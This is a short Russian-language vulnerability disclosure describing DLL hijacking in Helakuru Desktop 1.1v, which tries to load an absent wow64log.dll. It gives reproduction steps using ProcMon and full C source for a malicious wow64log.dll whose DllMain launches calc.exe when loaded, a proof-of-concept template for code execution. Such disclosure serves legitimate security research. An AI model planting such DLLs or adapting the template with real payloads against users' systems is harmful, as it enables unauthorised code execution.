Уязвимость перехвата DLL в Helakuru

Краткое описание

Настольная версия Helakuru 1.1v работает как на 64-битной, так и на 32-битной архитектуре. В ходе тестирования было выявлено, что программа пытается загрузить wow64log.dll, которая по умолчанию отсутствует в современных операционных системах Windows. Это приводит к ошибке «Имя не найдено», что делает программу уязвимой для перехвата DLL. Создав вредоносную wow64log.dll, можно добиться выполнения произвольного кода.

Затронутая версия

Helakuru Desktop 1.1v

Шаги для воспроизведения

Отслеживайте загрузку DLL с помощью ProcMon

ProcMon показывает операцию CreateFile с ошибкой «Имя не найдено» для wow64log.dll

Создайте вредоносную wow64log.dll

#include <windows.h>
#include <stdio.h>

void LaunchCalculator()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    const char* calcCmd = "C:\\Windows\\System32\\calc.exe";

    if (!CreateProcessA(
        NULL,          
        (LPSTR)calcCmd, 
        NULL,          
        NULL,          
        FALSE,         
        0,             
        NULL,          
        NULL,          
        &si,           
        &pi))          
    {
        printf("CreateProcess failed (%d).\n", GetLastError());
    }
    else
    {
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        LaunchCalculator();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

HelakuruV.1.1-DLLHijack

Популярное